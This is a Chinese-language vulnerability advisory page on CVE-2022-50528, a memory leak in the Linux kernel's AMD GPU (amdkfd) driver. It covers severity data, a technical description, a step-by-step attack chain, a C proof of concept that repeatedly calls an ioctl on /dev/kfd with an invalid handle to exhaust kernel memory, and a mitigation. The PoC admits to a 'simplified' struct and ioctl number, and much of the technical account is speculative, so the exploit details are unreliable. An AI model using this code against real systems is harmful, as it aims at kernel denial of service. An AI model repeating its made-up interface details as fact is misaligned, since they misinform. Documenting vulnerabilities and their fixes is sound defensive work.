IPBUF安全漏洞报告
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CVE-2022-50528 CVSS 5.5 中危

CVE-2022-50528 Linux内核drm/amdkfd内存泄漏漏洞

披露日期: 2025-10-07
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2022-50528
漏洞类型
内存泄漏/空指针引用
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel (drm/amdkfd - AMD GPU Kernel Fusion Driver)

相关标签

Linux Kernel内存泄漏drm/amdkfdAMD GPU段错误本地提权拒绝服务内核漏洞CVE-2022-50528DMA-BUF

漏洞概述

CVE-2022-50528是Linux内核中drm/amdkfd(AMD GPU Kernel Fusion Driver)驱动模块的一个内存泄漏漏洞。该漏洞位于_gpuvm_import_dmabuf()函数中,可能导致内存泄漏和段错误(seg fault)。amdkfd是AMD为其GPU设备提供的内核融合驱动,负责管理GPU虚拟内存(GPUVM)和与用户空间进程的交互。当系统通过DMA-BUF机制导入GPU缓冲区时,如果_gpuvm_import_dmabuf()函数中的资源分配或错误处理路径不正确,可能导致已分配的内存未被正确释放,从而引发内存泄漏。在某些情况下,泄漏积累或异常状态可能进一步触发空指针解引用,导致段错误使内核崩溃。该漏洞CVSS评分为5.5,属于中危级别,攻击者需要本地低权限访问即可触发,不需要用户交互。该漏洞主要影响系统的可用性,可能导致内核崩溃(kernel panic)或系统不稳定。由于涉及GPU驱动,该漏洞在云计算、虚拟化及高性能计算环境中影响较大,因为这些场景中GPU资源的分配和释放非常频繁。修复该漏洞需要确保_gpuvm_import_dmabuf()函数在所有错误处理路径中正确释放已分配的内存资源。

技术细节

该漏洞存在于Linux内核的drm/amdkfd驱动模块的_gpuvm_import_dmabuf()函数中。DMA-BUF是Linux内核中用于跨设备共享缓冲区的框架,amdkfd驱动通过该框架将DMA缓冲区导入到GPU虚拟内存管理(GPUVM)系统中。漏洞的根本原因是_gpuvm_import_dmabuf()函数在某些错误处理路径中未能正确释放已分配的内存资源。具体而言,当函数在执行过程中遇到错误并提前返回时,之前分配的内存对象(如GPUVM BO对象、映射结构等)未被正确释放,导致内存泄漏。此外,如果某些指针在资源释放后仍被访问,可能触发空指针解引用,导致段错误(segfault)。攻击者可以通过编写特定的本地程序,利用ioctl接口调用amdkfd驱动的相关功能,触发_gpuvm_import_dmabuf()函数的错误路径,从而触发内存泄漏。持续的内存泄漏会消耗系统内存资源,最终可能导致系统不稳定或内核OOM(Out of Memory)。在特定条件下,空指针解引用会直接导致内核崩溃(kernel panic),造成系统拒绝服务(DoS)。修复方案是在所有错误返回路径中添加适当的资源释放代码,确保内存资源被正确管理。

攻击链分析

STEP 1
步骤1:获取本地访问权限
攻击者需要在目标系统上拥有本地低权限账户。由于漏洞的攻击向量为本地(AV:L),攻击者可以通过合法或非合法途径获得系统的本地shell访问权限。
STEP 2
步骤2:验证AMD GPU硬件存在
攻击者检查系统中是否存在AMD GPU设备及其对应的amdkfd驱动模块。可以通过ls /dev/kfd命令确认KFD设备文件是否存在。
STEP 3
步骤3:编写触发程序
攻击者编写利用程序,通过ioctl系统调用与amdkfd驱动交互,调用_gpuvm_import_dmabuf()函数,并构造使函数进入错误处理路径的参数(如无效的dmabuf句柄)。
STEP 4
步骤4:触发内存泄漏
反复调用ioctl触发错误路径,每次都会泄漏部分内存。随着调用次数增加,内核内存被持续消耗,系统可用内存逐渐减少。
STEP 5
步骤5:触发段错误或系统崩溃
在特定条件下,空指针解引用被触发,导致内核段错误(segfault),进而引发内核panic,系统拒绝服务(DoS)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2022-50528 PoC - Trigger memory leak in amdkfd _gpuvm_import_dmabuf() // This PoC demonstrates how to trigger the vulnerability by importing // a dmabuf into GPUVM through amdkfd ioctl interface #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <sys/ioctl.h> #include <sys/mman.h> #include <linux/dma-buf.h> // AMD KFD device path #define KFD_DEVICE "/dev/kfd" // Simplified structure for importing dmabuf to GPUVM struct kfd_ioctl_import_dmabuf_args { uint64_t handle; // dmabuf handle uint64_t va_addr; // virtual address uint64_t size; // buffer size uint32_t gpu_id; // target GPU ID uint32_t flags; // access flags }; // KFD IOCTL command (simplified - actual values from kfd_ioctl.h) #define AMDKFD_IOC_IMPORT_DMABUF 0xC0304B05 int main(int argc, char *argv[]) { int kfd_fd; int ret; int iterations = 1000; // Repeat to accumulate memory leak if (argc > 1) { iterations = atoi(argv[1]); } // Open AMD KFD device kfd_fd = open(KFD_DEVICE, O_RDWR); if (kfd_fd < 0) { perror("Failed to open " KFD_DEVICE); return 1; } printf("Triggering CVE-2022-50528 memory leak...\n"); for (int i = 0; i < iterations; i++) { struct kfd_ioctl_import_dmabuf_args args; memset(&args, 0, sizeof(args)); // Use invalid handle to trigger error path in _gpuvm_import_dmabuf() // This causes memory allocation before error return without proper cleanup args.handle = (uint64_t)-1; // Invalid dmabuf handle args.va_addr = 0x100000 + i * 0x1000; args.size = 0x1000; args.gpu_id = 0; args.flags = 0; ret = ioctl(kfd_fd, AMDKFD_IOC_IMPORT_DMABUF, &args); if (ret < 0) { // Error expected, but memory may have been leaked if (i % 100 == 0) { fprintf(stderr, "Iteration %d: ioctl failed (errno=%d)\n", i, errno); } } } printf("Done. Memory leak should be visible in kernel slab/kmemleak.\n"); printf("Check with: cat /proc/meminfo | grep Slab\n"); close(kfd_fd); return 0; }

影响范围

Linux Kernel < 6.0 (包含drm/amdkfd驱动受影响版本)

防御指南

临时缓解措施
在无法立即升级内核的情况下,可以通过限制普通用户对/dev/kfd设备的访问权限来降低风险,例如将该设备的权限设置为仅root可访问(chmod 600 /dev/kfd)。同时,建议监控系统内存使用情况,及时发现异常的内存增长。对于使用AMD GPU的服务器和云计算环境,建议优先评估并部署内核安全补丁,以避免因GPU驱动内存泄漏导致的服务中断。

参考链接

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